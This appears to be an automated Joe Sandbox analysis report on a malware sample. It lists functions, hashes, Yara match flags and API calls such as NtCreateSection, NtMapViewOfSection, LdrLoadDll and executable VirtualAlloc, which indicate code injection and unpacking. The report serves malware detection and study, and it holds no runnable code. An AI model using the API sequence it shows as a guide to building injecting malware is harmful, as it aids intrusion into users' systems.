Source File: 00000000.00000002.1700952888.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NBHEkIKDCr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: bae20a228bd41bc7813985564ad54ad8a6399e0ad18c72377fec9941621639a0
Instruction ID: ff81ed2e81490e93a7bfe721f9c6a4d9304ec08e35c355afa89281eda0ffd623
Opcode Fuzzy Hash: bae20a228bd41bc7813985564ad54ad8a6399e0ad18c72377fec9941621639a0
Instruction Fuzzy Hash: 3E5109B5900249BFEB208F91CC49FAB7BB8FF85710F144169FA11BA2E5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 004015B0 Relevance: 10.7, APIs: 7, Instructions: 169
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000000.00000002.1700952888.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NBHEkIKDCr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 6c4736dca5741fb18473fdef31891e556f9b158cac04651ef2a3a7cb79a50736
Instruction ID: af686ae4933c2f6004de28669cc23aaadd0110c3f88d1b974755b8c34b4799b2
Opcode Fuzzy Hash: 6c4736dca5741fb18473fdef31891e556f9b158cac04651ef2a3a7cb79a50736
Instruction Fuzzy Hash: 0E51F9B5900249BFEB208F91CC48FAF7BB8FF85B10F104169FA11BA2E5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 004015BC Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000000.00000002.1700952888.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NBHEkIKDCr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 72661907227a9452eb25ab953c02bdcf5a827517e06e297a0d085dc110f4c5bf
Instruction ID: 765dedf92b6036aea99e2596c7c6646b0bcbba97602321f23575c560d9e65fb8
Opcode Fuzzy Hash: 72661907227a9452eb25ab953c02bdcf5a827517e06e297a0d085dc110f4c5bf
Instruction Fuzzy Hash: 1451E8B5900249BFEF208F91CC48FDF7BB8FF85B10F104169FA11AA2A5D6749945CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004015CB Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000000.00000002.1700952888.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NBHEkIKDCr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 004f83838c091370c792dd4fcb680897e20f1790ca1ffba750393c7614aa26f8
Instruction ID: 60f1a669064b898f2f8cfe764b4cdaf5e199705ebcb5ef48edc51869d28594cd
Opcode Fuzzy Hash: 004f83838c091370c792dd4fcb680897e20f1790ca1ffba750393c7614aa26f8
Instruction Fuzzy Hash: 2C51FAB1900249BFEF208F91CC48F9FBBB8FF85B10F104169FA11AA2A5D7749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00AD43E4 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00AD440C
Module32First.KERNEL32(00000000,00000224), ref: 00AD442C

Memory Dump Source

Source File: 00000000.00000002.1702853575.0000000000ACD000.00000040.00000020.00020000.00000000.sdmp, Offset: 00ACD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_acd000_NBHEkIKDCr.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 73a9f5d3d0a30fac2685fded06c583fd932adf1dae586dd234315b22a3d5d622
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 9BF090766007116FE7203BF9A88DB6E76ECFF5D725F10052AE643A12C0DB70EC854A61

Uniqueness

Uniqueness Score: -1.00%

Function 004029BA Relevance: 1.6, APIs: 1, Instructions: 60
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000000.00000002.1700952888.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NBHEkIKDCr.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 8b4368bb53e1649655da800b8e3771367f61da053ffbe47dde7c34dc5595736a
Instruction ID: ddfd821467dba8d9e3be05996510f596060048204c77d2b9bdf6330f9e046059
Opcode Fuzzy Hash: 8b4368bb53e1649655da800b8e3771367f61da053ffbe47dde7c34dc5595736a
Instruction Fuzzy Hash: 5C11E571708104E7D6209A449B4EF6B3724AB50B00F308077E5077A1C0D9FD9A07BBAF

Uniqueness

Uniqueness Score: -1.00%

Function 0249003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0249024D

Strings

kernel32.dll, xrefs: 0249008F, 02490095
cess, xrefs: 0249018D

Memory Dump Source

Source File: 00000000.00000002.1702932783.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2490000_NBHEkIKDCr.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 399dcb6eb3918c0fda0455d7dbc85658349493339161d9849fa38a55beedf806
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: D2525874A01229DFDB64CF58C984BA9BBB1BF09314F1480DAE94DAB351DB30AE95CF14

Uniqueness

Uniqueness Score: -1.00%

Function 02490E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02490223,?,?), ref: 02490E19
SetErrorMode.KERNELBASE(00000000,?,?,02490223,?,?), ref: 02490E1E

Memory Dump Source

Source File: 00000000.00000002.1702932783.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2490000_NBHEkIKDCr.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 222b95ba1efed397dc51e845e48fe434b558f4b478ecd050a5280b6dec76a593
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 20D0123514512877DB002A94DC09BCE7F1CDF05B66F008011FB0DD9180C770954046E5

Uniqueness

Uniqueness Score: -1.00%

Function 004029C5 Relevance: 1.6, APIs: 1, Instructions: 55
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000000.00000002.1700952888.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NBHEkIKDCr.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 630f67e63f4c9d6cadc1f4ef28869250e9dd95ac73f78134dda1cef590dfe083
Instruction ID: eda82e36109819710fc28ef01b941f30aa1b457bd77d6c907d6690057fca41fa
Opcode Fuzzy Hash: 630f67e63f4c9d6cadc1f4ef28869250e9dd95ac73f78134dda1cef590dfe083
Instruction Fuzzy Hash: 3C01C471708205E7DA60DA949A4EB6B7710AB51B10F308077E5037A1C4DAFD9A07FB6B

Uniqueness

Uniqueness Score: -1.00%

Function 004029D1 Relevance: 1.6, APIs: 1, Instructions: 54
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000000.00000002.1700952888.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NBHEkIKDCr.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 8aebd7c2dfb35844096bdf04bcf18f9291abc38b44631a4f8f553a04b448b611
Instruction ID: 27f311fed6bd4bb195386d6e886048742e5b6b48a655c0a394e70793ed6bf28f
Opcode Fuzzy Hash: 8aebd7c2dfb35844096bdf04bcf18f9291abc38b44631a4f8f553a04b448b611
Instruction Fuzzy Hash: E0018071708105E7DA609A449B4EB6B7324BB50B10F308477E5077A1C4DAFD9A07BB6F

Uniqueness

Uniqueness Score: -1.00%

Function 004029D5 Relevance: 1.6, APIs: 1, Instructions: 51
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000000.00000002.1700952888.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NBHEkIKDCr.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 14f9d75437b26c4e33ab762a249f6d4a6897a4cf10a17b4738070ea496484bd2
Instruction ID: 6c082c2f6db60d75b034223dafbed04b71575a1e0537fab93527f59567f6cb96
Opcode Fuzzy Hash: 14f9d75437b26c4e33ab762a249f6d4a6897a4cf10a17b4738070ea496484bd2
Instruction Fuzzy Hash: DB01B531708105E7DB60DA409A4DF5F7720BB50B10F208577E5077A1C4DAF99A17EB9B

Uniqueness

Uniqueness Score: -1.00%

Function 004029E2 Relevance: 1.5, APIs: 1, Instructions: 47
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000000.00000002.1700952888.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NBHEkIKDCr.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: b2d371f82e3e545a267ab12f2e2f0a58ec4b54f775fd64736b106f9591d7a7c3
Instruction ID: daf8977218c418413866257df5c9087131837fd98e0c4230724de407841e0162
Opcode Fuzzy Hash: b2d371f82e3e545a267ab12f2e2f0a58ec4b54f775fd64736b106f9591d7a7c3
Instruction Fuzzy Hash: 3801DF31708104E7DB209A848A4DB5E7320AB40B10F208577E507BA1C0DAF9AA07AFAB

Uniqueness

Uniqueness Score: -1.00%

Function 004029E9 Relevance: 1.5, APIs: 1, Instructions: 47
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000000.00000002.1700952888.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NBHEkIKDCr.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 9850a57f899f03cbeedeed8d531e786c982b6ed5f0a372be87f463e87495e5bd
Instruction ID: 5524fd7572365f35614fa46947343296b9db081daee3b4d0816b59f029c0b045
Opcode Fuzzy Hash: 9850a57f899f03cbeedeed8d531e786c982b6ed5f0a372be87f463e87495e5bd
Instruction Fuzzy Hash: 2101A731704104E7D7209A448A4EB5E7720AB40704F208477E5067A1C4DAB9EA07AB6B

Uniqueness

Uniqueness Score: -1.00%

Function 004029F9 Relevance: 1.5, APIs: 1, Instructions: 45
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000000.00000002.1700952888.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NBHEkIKDCr.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 83fdb88ab79b739a001a2e8c05ea2e4136fbf27434a3016a2f3de2c8c28590ed
Instruction ID: 2a527b723104a8d4642483acce18f9de5ed6d5a74c4e47f32731208c7d716ef4
Opcode Fuzzy Hash: 83fdb88ab79b739a001a2e8c05ea2e4136fbf27434a3016a2f3de2c8c28590ed
Instruction Fuzzy Hash: 1801A231708104E7DB209A849A4DF9F7720AB40B14F208477E5027A1C0DAF9AA07AFAB

Uniqueness

Uniqueness Score: -1.00%

Function 00401969 Relevance: 1.3, APIs: 1, Instructions: 62sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000000.00000002.1700952888.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NBHEkIKDCr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: b8285f967374eae4a3c51efe3ce59b098afe428af0dcb557450618fb68c9c18d
Instruction ID: 1276e484f00ba66cbffb4616bb4d5d076efec51046982770477825c9afbd6400
Opcode Fuzzy Hash: b8285f967374eae4a3c51efe3ce59b098afe428af0dcb557450618fb68c9c18d
Instruction Fuzzy Hash: 0F01D2B6708205FADB005A949C62EBB3618AB41755F300637BA13B80F1C57D8513FA6F

Uniqueness

Uniqueness Score: -1.00%

Function 00401975 Relevance: 1.3, APIs: 1, Instructions: 55sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000000.00000002.1700952888.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NBHEkIKDCr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 9a4c6db62cce5b151e284cc19e63a433146ff3755d8681b35f1a2b6972971a8e
Instruction ID: 0230620869f43b82b90ed4dddf49477c9f5c6c73dade890abd4ec4b7d4a8195a
Opcode Fuzzy Hash: 9a4c6db62cce5b151e284cc19e63a433146ff3755d8681b35f1a2b6972971a8e
Instruction Fuzzy Hash: 4801BCB6308205FADB005A949C62FBA3219AB84751F30053BB613BC0F1C53D8513FA2F

Uniqueness

Uniqueness Score: -1.00%

Function 0040197F Relevance: 1.3, APIs: 1, Instructions: 54sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000000.00000002.1700952888.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NBHEkIKDCr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 25088a1f844088f741a859eeb607afc94706ffd20a91742bc3d9f24c23efa0b5
Instruction ID: 9a4b4ffd5ca22a672d673467c452b15ea5c40039b4ea8ded510267d200494456
Opcode Fuzzy Hash: 25088a1f844088f741a859eeb607afc94706ffd20a91742bc3d9f24c23efa0b5
Instruction Fuzzy Hash: 3A01B1B6308205FADB115A949C61A7A3319AB45711F30053BB613B80F2C53D8512FA1F

Uniqueness

Uniqueness Score: -1.00%

Function 00401986 Relevance: 1.3, APIs: 1, Instructions: 53sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000000.00000002.1700952888.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NBHEkIKDCr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: f146987f8c0bf49c3ef7592727f3e0a51ae856d021a330616d03f7304a9c3b71
Instruction ID: 5a2bb716a64f0a1f1a6e426f0b200f3e6862a670896c4db1e76ea4af0659c5ba
Opcode Fuzzy Hash: f146987f8c0bf49c3ef7592727f3e0a51ae856d021a330616d03f7304a9c3b71
Instruction Fuzzy Hash: 3101DFB2308205FADB005AD49C62F7A3219AB85715F30453BB623B80F1C63D8512FB2F

Uniqueness

Uniqueness Score: -1.00%

Function 00AD40A3 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00AD40F4

Memory Dump Source

Source File: 00000000.00000002.1702853575.0000000000ACD000.00000040.00000020.00020000.00000000.sdmp, Offset: 00ACD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_acd000_NBHEkIKDCr.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 7f4c6a2abbe96ec501d46fe26f6aa25b9748a77fe222d36441ab295eccb1da9b
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: E6112B79A00208EFDB01DF98CA85E98BBF5AF08351F058095F9489B362D371EA90DF80

Uniqueness

Uniqueness Score: -1.00%

Function 004019A2 Relevance: 1.3, APIs: 1, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000000.00000002.1700952888.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NBHEkIKDCr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: a8f77c5b0aafc3a83b6e9a89fc0125d54fce9978fbcf9d902b8238b221feffd7
Instruction ID: 689da8ed0bf63c85a60a16fbbe407e4b0918199af58fa2149c0a58fdfe32668e
Opcode Fuzzy Hash: a8f77c5b0aafc3a83b6e9a89fc0125d54fce9978fbcf9d902b8238b221feffd7
Instruction Fuzzy Hash: 0E0181B6308105FADB115AD49D52FBA3719AB45751F30453BB613B80F2C53D8512FB2B

Uniqueness

Uniqueness Score: -1.00%

Function 00401992 Relevance: 1.3, APIs: 1, Instructions: 46sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000000.00000002.1700952888.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NBHEkIKDCr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 994369af4d0fa0c447a21c659804c9e18bb6abd6db9e85dcf8f049b878b9c4ba
Instruction ID: 9477092311c163758adf26378a137d016a4cc75b4861da4fd192d9fcf75081b0
Opcode Fuzzy Hash: 994369af4d0fa0c447a21c659804c9e18bb6abd6db9e85dcf8f049b878b9c4ba
Instruction Fuzzy Hash: 25016D72304105FADB119AD09C52EAA3729AB48355F30457BB613BD0F2C63D8552EB2B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0249092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

., xrefs: 0249095F
l, xrefs: 02490966
GetProcAddress., xrefs: 024909DC, 024909DF, 024909E4

Memory Dump Source

Source File: 00000000.00000002.1702932783.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2490000_NBHEkIKDCr.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 11c3ce01d4b21e2cad106f8ee3e8e99851c685a3892a5c7049a3e18a3c7c256e
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 153139B6900609DFDB10CF99C880AAEBBF9FF48328F15514AD841AB310D771EA45CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00AD3CC1 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702853575.0000000000ACD000.00000040.00000020.00020000.00000000.sdmp, Offset: 00ACD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_acd000_NBHEkIKDCr.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 74e310313b50096ffcea019be0a9073d731ea4ec8ec164e38f586a9e8a4d9c3f
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 25117C73340100AFDB44DF55DC91FA673EAFB88760B298066E905CB316E679ED01CB60

Uniqueness

Uniqueness Score: -1.00%

Function 02490D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702932783.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2490000_NBHEkIKDCr.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 316fab75cdca8c204f77335740380c5cf636f58c06b371094cabf143150724a7
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 0301D676A106048FDF21CF24C904BAB37F9FB86216F4555B6D90AD7381E774A941CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0040C675 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0040C69B

Part of subcall function 0040C4C0: __fltout2.LIBCMT ref: 0040C4EC

__cftog_l.LIBCMT ref: 0040C6C1
__cftoe_l.LIBCMT ref: 0040C6F3

Memory Dump Source

Source File: 00000000.00000002.1700968815.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_NBHEkIKDCr.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: e14d24de96c2092ba8623298dc114f4de5b5cefbfed6d6241cc7ffa6bbf36271
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: D211453204014AFBCF225F85DC81CEE3F22BB1D354B549A26FA18651B1D63BC971AB89

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: faischfPID: 1668, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	4.8%
Dynamic/Decrypted Code Coverage:	49.1%
Signature Coverage:	0%
Total number of Nodes:	55
Total number of Limit Nodes:	3

Executed Functions

